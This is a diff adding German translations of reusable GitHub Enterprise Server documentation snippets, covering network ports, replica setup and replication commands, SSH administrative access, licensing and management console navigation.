+| 161/UDP | SNMP | Für Netzwerküberwachungs-Protokollvorgänge erforderlich. |
+| 443  | HTTPS   | Webanwendung und Git über HTTPS-Zugriff. |
+| 1194/UDP | VPN | Sicherer Replikationsnetzwerktunnel in einer hochverfügbaren Konfiguration. |
+| 8080 | HTTP    | Webbasierte {% data variables.enterprise.management_console %} in Nur-Text. *Nur erforderlich, wenn SSL manuell deaktiviert wird.* |
+| 8443 | HTTPS   | Sichere webbasierte {% data variables.enterprise.management_console %}. *Für die grundlegende Installation und Konfiguration erforderlich.* |
+| 9418 | Git     | Einfacher Git-Protokollport. Nur Klon- und Abrufvorgänge zu öffentlichen Repositorys. *Unverschlüsselte Netzwerkkommunikation.* {% data reusables.enterprise_installation.when-9418-necessary %}  |
diff --git a/translations/de-DE/data/reusables/enterprise_installation/open-vm-console-start.md b/translations/de-DE/data/reusables/enterprise_installation/open-vm-console-start.md
new file mode 100644
index 0000000000..b7047a4693
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/open-vm-console-start.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 13d472e0a5235a70a4f2b98bc969034b19a42baa
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785846"
+---
+1. Öffne unter Verwendung deiner Virtualisierungsplattform-Tools die VM-Konsole.
+  ![{% data variables.product.prodname_enterprise %}-Konsole](/assets/images/enterprise/network-configuration/virtual-machine-console.png)
+2. Um die Netzwerkeinrichtung zu starten, drücke **S**.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/promoting-a-replica.md b/translations/de-DE/data/reusables/enterprise_installation/promoting-a-replica.md
new file mode 100644
index 0000000000..317bf8807f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/promoting-a-replica.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0bff270f123a2504197b9580acb8111d6b4c7c6a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884518"
+---
+Wenn ein Replikat hochgestuft wird, wird nicht automatisch die Replikation für vorhandene Appliances eingerichtet. Nach dem Hochstufen eines Replikats kannst Du bei Bedarf eine Replikation von der neuen primären Instanz zu den vorhandenen Appliances und zur vorherigen primären Instanz einrichten.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md b/translations/de-DE/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md
new file mode 100644
index 0000000000..af929508fc
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 22af19b8957d9c44fafd5929a96bdfc11caf9cb4
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102356"
+---
+{% note %}
+
+**Hinweis**: {% data variables.product.prodname_ghe_server %} unterstützt PROXY Protocol V1, welches nicht mit AWS Network Load Balancers kompatibel ist. Wenn du AWS Network Load Balancers mit {% data variables.product.prodname_ghe_server %} verwendest, aktiviere nicht die PROXY-Unterstützung.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/replica-limit.md b/translations/de-DE/data/reusables/enterprise_installation/replica-limit.md
new file mode 100644
index 0000000000..4a1014f199
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/replica-limit.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 862702073a4c1668e2d9a2f6674ae294ea91234c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102351"
+---
+{% ifversion ghes %} {% note %}
+
+**Hinweis**: Maximal acht Replikate mit hoher Verfügbarkeit (sowohl passive als auch aktive/Georeplikate) sind für {% data variables.product.product_name %} zulässig.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/replica-ssh.md b/translations/de-DE/data/reusables/enterprise_installation/replica-ssh.md
new file mode 100644
index 0000000000..5d794a7f7b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/replica-ssh.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: e901ffeae22a69728180ab50728522904cbb2438
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102347"
+---
+1.  Verbinden Dich mit der Replika-Instanz über SSH als "admin" Benutzer auf Port 122:
+```shell
+$ ssh -p 122 admin@<em>replica-host</em>
+```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/replica-steps.md b/translations/de-DE/data/reusables/enterprise_installation/replica-steps.md
new file mode 100644
index 0000000000..6f5074a26a
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/replica-steps.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 63a6d1942b3eee497c9689c21b262119a382e85d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102344"
+---
+3. Lege ein Administratorpasswort fest, das dem Passwort auf der primären Appliance entspricht, und setze den Vorgang fort.
+4. Klicke auf **Als Replikat konfigurieren**.
+![Installationsoptionen mit einem Link zum Konfigurieren deiner neuen Instanz als Replikat](/assets/images/enterprise/management-console/configure-as-replica.png)
+5. Gib unter „Add new SSH key“ (Neuen SSH-Schlüssel hinzufügen) deinen SSH-Schlüssel ein.
+![SSH-Schlüssel hinzufügen](/assets/images/enterprise/management-console/add-ssh-key.png)
+6. Klicke auf **Schlüssel hinzufügen**.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/replica-verify.md b/translations/de-DE/data/reusables/enterprise_installation/replica-verify.md
new file mode 100644
index 0000000000..9b83ab2906
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/replica-verify.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a0732e3a0fa9fa74b60b8c163e92ab475ab347db
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102336"
+---
+1. Führe Folgendes aus, um das Upgrade zu überprüfen:
+
+ ```shell
+ $ ghe-version
+ ```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/replication-command.md b/translations/de-DE/data/reusables/enterprise_installation/replication-command.md
new file mode 100644
index 0000000000..ff04f34f23
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/replication-command.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 0ee285efb8b386c47d2782151fdf6a2bb24589fc
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879011"
+---
+1. Um die Replikation der Datenspeicher zu starten, verwende den Befehl `ghe-repl-start`.
+  ```shell
+  $ ghe-repl-start
+  ```
+    {% warning %}
+
+    **Warnung**: `ghe-repl-start` verursacht einen kurzen Ausfall des primären Servers. Währenddessen wird Benutzern möglicherweise ein interner Serverfehler angezeigt. Um eine benutzerfreundlichere Meldung bereitzustellen, führe `ghe-maintenance -s` auf dem primären Knoten aus, bevor du `ghe-repl-start` auf dem Replikatknoten ausführest, um die Appliance in den Wartungsmodus zu versetzen. Nachdem die Replikation gestartet wurde, deaktiviere den Wartungsmodus mit `ghe-maintenance -u`. Die Git-Replikation wird nicht fortgesetzt, während sich der primäre Knoten im Wartungsmodus befindet.
+
+    {% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/replication-status.md b/translations/de-DE/data/reusables/enterprise_installation/replication-status.md
new file mode 100644
index 0000000000..d321d8a3eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/replication-status.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 831838937ab8a143050a9be7b16ea45a17952408
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102328"
+---
+1. Führe `ghe-repl-status` auf der Replikatinstanz aus, um sicherzustellen, dass Replikationsdienste ordnungsgemäß ausgeführt werden. Dieser Befehl gibt für alle Dienste `OK` zurück, wenn eine erfolgreiche Replikation verarbeitet wird und für das Replikat ein Upgrade durchgeführt wurde.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/request-a-trial.md b/translations/de-DE/data/reusables/enterprise_installation/request-a-trial.md
new file mode 100644
index 0000000000..84251aa908
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/request-a-trial.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b5a18f02f1b4d8d7f417f66757b655ef52b26fdf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146682501"
+---
+Du kannst eine Testversion anfordern, um {% data variables.product.prodname_ghe_server %} zu evaluieren. Weitere Informationen findest du unter [Einrichten einer Testversion von {% data variables.product.prodname_ghe_server %}]({% ifversion ghae %}/enterprise-server@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md b/translations/de-DE/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md
new file mode 100644
index 0000000000..117049b38a
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b951df3eca3760e80da4298b046a604658b78e5f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879525"
+---
+3. Konfiguriere und speichere deine gewünschten Einstellungen in der [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console/).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/software-license.md b/translations/de-DE/data/reusables/enterprise_installation/software-license.md
new file mode 100644
index 0000000000..e5393758ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/software-license.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 001d4f28d235ebfa568fe6fbb16b4d0a7bd5655d
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877030"
+---
+Du musst über eine {% data variables.product.prodname_enterprise %}-Lizenzdatei verfügen. Weitere Informationen findest du unter [Einrichten einer Testversion von {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server#setting-up-your-trial-of-github-enterprise-server) und unter [Informationen zu Lizenzen für {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/ssh-into-instance.md b/translations/de-DE/data/reusables/enterprise_installation/ssh-into-instance.md
new file mode 100644
index 0000000000..86f7f9ac05
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/ssh-into-instance.md
@@ -0,0 +1,5 @@
+1. SSH into {% data variables.location.product_location %}. If your instance comprises multiple nodes, for example if high availability or geo-replication are configured, SSH into the primary node. If you use a cluster, you can SSH into any node. For more information about SSH access, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
+
+   ```shell
+   $ ssh -p 122 admin@HOSTNAME
+   ```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/ssh-into-target-instance.md b/translations/de-DE/data/reusables/enterprise_installation/ssh-into-target-instance.md
new file mode 100644
index 0000000000..20c8f8e04b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/ssh-into-target-instance.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 857705360d900efd06370f0359ce3e55a499912f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108451"
+---
+1. Stelle als Websiteadministrator eine [SSH-Verbindung mit deiner {% data variables.product.prodname_ghe_server %}-Zielinstanz her](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/).
+```shell
+$ ssh -p 122 admin@<em>HOSTNAME</em>
+```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/start-replication.md b/translations/de-DE/data/reusables/enterprise_installation/start-replication.md
new file mode 100644
index 0000000000..c47c1c6288
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/start-replication.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5fb88d0088e154d4ca11e3370764c157867f9e3e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102319"
+---
+1. Führe zum Starten der Replikation auf der Replikatinstanz den Befehl `ghe-repl-start` aus.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/terminating-tls.md b/translations/de-DE/data/reusables/enterprise_installation/terminating-tls.md
new file mode 100644
index 0000000000..e15b65ce12
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/terminating-tls.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2887b3039e46f23e3075d9e84fc06483d7d6dce6
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879235"
+---
+{% warning %}
+
+ **Warnung**: Wenn HTTPS-Verbindungen in einem Lastenausgleich beendet werden, müssen die vom Lastenausgleich an {% data variables.product.prodname_ghe_server %} gesendeten Anforderungen ebenfalls HTTPS verwenden. Das Downgraden der Verbindung auf HTTP wird nicht unterstützt.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/upload-a-license-file.md b/translations/de-DE/data/reusables/enterprise_installation/upload-a-license-file.md
new file mode 100644
index 0000000000..6788306388
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/upload-a-license-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b4c24028447cd6a7a1e40e45ee98b2cdd22ae46a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108443"
+---
+2. Lade an der Eingabeaufforderung Deine Lizenzdatei hoch, und lege das Passwort für die Managementkonsole fest. Weitere Informationen findest du unter [Verwalten deiner Lizenz für {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise_installation/verify-replication-channel.md b/translations/de-DE/data/reusables/enterprise_installation/verify-replication-channel.md
new file mode 100644
index 0000000000..3c8a6c839e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/verify-replication-channel.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 07cbcf275bc4639cf5fb690becb5cbbc02a95e00
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102311"
+---
+11. Führe den Befehl `ghe-repl-status` aus, um den Status des Replikationskanals jedes Datenspeichers zu überprüfen.
+  ```shell
+  $ ghe-repl-status
+  ```
diff --git a/translations/de-DE/data/reusables/enterprise_installation/visit-your-instance.md b/translations/de-DE/data/reusables/enterprise_installation/visit-your-instance.md
new file mode 100644
index 0000000000..1142573680
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/visit-your-instance.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 902d3038ea84f4eb9f99f652f8b03858fc8d341f
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884550"
+---
+1. Klicke auf **Instanz aufrufen**.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/vm-console-done.md b/translations/de-DE/data/reusables/enterprise_installation/vm-console-done.md
new file mode 100644
index 0000000000..91e99b7b84
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/vm-console-done.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 42650ca1eaa9ecd5e5e8305c4ef52fc767702acc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102308"
+---
+1. Drücke zum Abschließen der Konfiguration deiner Einstellungen auf **D**.
diff --git a/translations/de-DE/data/reusables/enterprise_installation/warning-on-scaling.md b/translations/de-DE/data/reusables/enterprise_installation/warning-on-scaling.md
new file mode 100644
index 0000000000..26f39bde06
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/warning-on-scaling.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e5599974bb123d5ff904a3ccc0564dc4258f0cfe
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108432"
+---
+{% warning %}
+
+**Hinweis**: Du kannst deine CPU oder deinen Arbeitsspeicher jederzeit hochskalieren, indem du die Größe deiner Instanz anpasst. Da das Anpassen deiner CPU- oder Arbeitsspeichergröße jedoch Ausfallzeiten für deine Benutzer bedeutet, empfehlen wir ein Over-Provisioning der zu skalierenden Ressourcen.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md b/translations/de-DE/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md
new file mode 100644
index 0000000000..6f4359c64f
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a27fa907e6ce74d1500f4d3e29dcc4159fcf7650
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "146332176"
+---
+{% warning %}
+
+**Warnung**: Der Prozess zur Zuordnung neuer Systemressourcen variiert entsprechend der Virtualisierungsplattform und dem Ressourcentyp. Du solltest Überwachung- und Alarmierung für wichtige Systemressourcen immer konfigurieren. Weitere Informationen findest du unter [Überwachen deiner {% data variables.product.prodname_ghe_server %}-Appliance](/enterprise/admin/guides/installation/monitoring-your-github-enterprise-server-appliance/).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_installation/when-9418-necessary.md b/translations/de-DE/data/reusables/enterprise_installation/when-9418-necessary.md
new file mode 100644
index 0000000000..87625da53c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_installation/when-9418-necessary.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6060b9e6d7d0df16d40634d6862cf5ad7e190912
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108428"
+---
+Wenn du den privaten Modus in deiner Instanz aktiviert hast, ist das Öffnen dieses Ports nur erforderlich, wenn du auch anonymen Git-Lesezugriff aktiviert hast. Weitere Informationen findest du unter [Erzwingen von Repositoryverwaltungsrichtlinien in deinem Unternehmen](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access).
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/access-monitoring.md b/translations/de-DE/data/reusables/enterprise_management_console/access-monitoring.md
new file mode 100644
index 0000000000..0fa86894d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/access-monitoring.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2a8f5f84f3e37be9518376ec085b89cdb7b47f24
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102295"
+---
+1. Klicke auf der linken Randleiste auf **Überwachung**.
+![Registerkarte „Überwachung“](/assets/images/enterprise/management-console/monitoring-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/actions.md b/translations/de-DE/data/reusables/enterprise_management_console/actions.md
new file mode 100644
index 0000000000..4e52b88594
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/actions.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: d8e846fc675f86a03f94c6f346a194700f9a000b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108427"
+---
+1. Klicke auf der linken Randleiste auf **Aktionen**.
+
+   ![Registerkarte „Aktionen“ auf der Randleiste mit den Einstellungen](/assets/images/enterprise/management-console/sidebar-actions.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/advanced-security-license.md b/translations/de-DE/data/reusables/enterprise_management_console/advanced-security-license.md
new file mode 100644
index 0000000000..020dd40ff8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/advanced-security-license.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c45d7e3eb6e721943424474bccf904ce4ef4f7a0
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884979"
+---
+Wenn **{% data variables.product.prodname_advanced_security %}** nicht in der Seitenleiste angezeigt wird, umfasst deine Lizenz keine Unterstützung für {% data variables.product.prodname_advanced_security %}-Features wie {% data variables.product.prodname_code_scanning %} und {% data variables.product.prodname_secret_scanning %}. Die {% data variables.product.prodname_advanced_security %}-Lizenz gewährt dir und deinen Benutzern Zugriff auf Features, mit denen du die Sicherheit für deine Repositorys und deinen Code erhöhen kannst. Weitere Informationen erhältst du unter [Informationen zu GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security) oder über den {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/advanced-security-tab.md b/translations/de-DE/data/reusables/enterprise_management_console/advanced-security-tab.md
new file mode 100644
index 0000000000..e34cd8ea16
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/advanced-security-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: dfc6eb2056ac19368376fd842a4fc04895c312aa
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147061866"
+---
+1. Klicke auf der linken Randleiste auf **Sicherheit**.
+![Randleiste „Sicherheit“](/assets/images/enterprise/3.2/management-console/sidebar-security.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/authentication-password.md b/translations/de-DE/data/reusables/enterprise_management_console/authentication-password.md
new file mode 100644
index 0000000000..6200dddb9e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/authentication-password.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5770dd07c91210b438252a1c90f9ddff2c216c15
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102287"
+---
+Gib unter „Authentication password“ (Authentifizierungspasswort) das Authentifizierungspasswort ein.
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/authentication-protocol.md b/translations/de-DE/data/reusables/enterprise_management_console/authentication-protocol.md
new file mode 100644
index 0000000000..c6f56e931e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/authentication-protocol.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6f4d3d27c3592e6e4e3b45d1305669ef26e5fe97
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108416"
+---
+Klicke im Dropdownmenü **Protokoll** rechts neben „Authentifizierungskennwort“ auf das gewünschte Authentifizierungsprotokoll.
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/authentication.md b/translations/de-DE/data/reusables/enterprise_management_console/authentication.md
new file mode 100644
index 0000000000..57c2b887f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/authentication.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 643ec5cdbce90d20c74e58b97b6d70078f274f82
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102283"
+---
+1. Klicke in der linken Seitenleiste auf **Authentifizierung**.
+![Registerkarte „Authentifizierung“ in der Seitenleiste mit den Einstellungen](/assets/images/enterprise/management-console/sidebar-authentication.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/badge_indicator.md b/translations/de-DE/data/reusables/enterprise_management_console/badge_indicator.md
new file mode 100644
index 0000000000..b817d91a23
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/badge_indicator.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 47ce87910c48ca32b1aeb4eaf3a95028ce13d4b8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108415"
+---
+Ein Team, das [mit einer LDAP-Gruppe synchronisiert](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) ist, wird mit einem speziellen LDAP-Badge angegeben. Die Mitgliederliste für ein LDAP-synchronisiertes Team kann nur über die LDAP-Gruppe verwaltet werden, der sie zugeordnet ist.
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/enable-disable-security-features.md b/translations/de-DE/data/reusables/enterprise_management_console/enable-disable-security-features.md
new file mode 100644
index 0000000000..bf44acc3b2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/enable-disable-security-features.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 232a9cb434a48f115e20871785411b2d4f347fb0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102280"
+---
+{% warning %}
+
+**Warnung**: Das Ändern dieser Einstellung führt dazu, dass benutzerbezogene Dienste auf {% data variables.product.prodname_ghe_server %} neu gestartet werden. Du solltest den Zeitpunkt für diese Änderung sorgfältig auswählen, um die Downtime für Benutzer zu minimieren.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/enable-snmp.md b/translations/de-DE/data/reusables/enterprise_management_console/enable-snmp.md
new file mode 100644
index 0000000000..813c29758c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/enable-snmp.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5ea8a4178da32641edd99b1b7d14a7562faceb55
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108412"
+---
+1. Klicke unter „Überwachung“ auf **SNMP aktivieren**.
+![Schaltfläche zum Aktivieren des SNMP](/assets/images/enterprise/management-console/enable-snmp.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/hostname-menu-item.md b/translations/de-DE/data/reusables/enterprise_management_console/hostname-menu-item.md
new file mode 100644
index 0000000000..5a5cf567c6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/hostname-menu-item.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: da651fc3a47d15b4cd45a1fa0e5875033a94ddd3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102279"
+---
+3. Klicke auf der linken Randleiste auf **Hostname**.
